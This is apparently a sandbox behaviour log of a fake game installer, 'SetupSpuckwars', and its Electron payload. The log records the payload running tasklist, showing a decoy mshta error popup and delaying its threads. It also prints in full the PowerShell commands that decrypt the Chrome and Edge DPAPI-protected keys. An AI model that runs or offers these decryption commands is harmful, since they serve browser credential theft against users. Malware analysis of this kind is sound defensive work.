Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3039Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2886Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2984Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1225Jump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\libGLESv2.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\vulkan-1.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\resources\elevate.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\0b804954-c12d-4b4a-b2c0-33a436a4bcce.tmp.nodeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\libEGL.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\nsis7z.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\d3dcompiler_47.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libEGL.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libGLESv2.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\System.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\d3dcompiler_47.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\28ab86ab-db2b-4366-822d-9ffba643684e.tmp.nodeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\vk_swiftshader.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4996Thread sleep count: 3039 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4996Thread sleep count: 2886 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6528Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6492Thread sleep time: -1844674407370954s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5064Thread sleep count: 2984 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5036Thread sleep count: 1225 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1596Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6628Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809Jump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile Volume queried: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O FullSizeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile Volume queried: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O FullSizeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile Volume queried: C:\Users\user FullSizeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile Volume queried: C:\Users\user FullSizeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\localesJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\userJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\app-64.7zJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\resourcesJump to behavior
Source: libGLESv2.dll.0.drBinary or memory string: VMware
Source: libGLESv2.dll.0.drBinary or memory string: IIAMDARMAppleBroadcomGoogleIntelMesaMicrosoftNVIDIAImagination TechnologiesQualcommSamsung Electronics Co., Ltd.VivanteVMwareTestX
Source: libGLESv2.dll.0.drBinary or memory string: (IsLinux() && isVMWare) || (IsAndroid() && isNvidia) || (IsAndroid() && GetAndroidSdkLevel() < 27 && IsAdreno5xxOrOlder(functions)) || (IsAndroid() && IsMaliT8xxOrOlder(functions)) || (IsAndroid() && IsMaliG31OrOlder(functions))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1628 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --mojo-platform-channel-handle=2052 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --mojo-platform-channel-handle=2388 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "start /B cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()""Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2492 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklistJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "c:\users\user\appdata\local\temp\2ejji115jyjwoncmec4t6jnhr8o\spuckwars.exe" --type=gpu-process --user-data-dir="c:\users\user\appdata\roaming\spuckwars" --gpu-preferences=uaaaaaaaaadgaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaaegaaaaaaaaasaaaaaaaaaayaaaaagaaabaaaaaaaaaagaaaaaaaaaaqaaaaaaaaaaaaaaaoaaaaeaaaaaaaaaabaaaadgaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1628 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "c:\users\user\appdata\local\temp\2ejji115jyjwoncmec4t6jnhr8o\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\spuckwars" --mojo-platform-channel-handle=2052 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:8
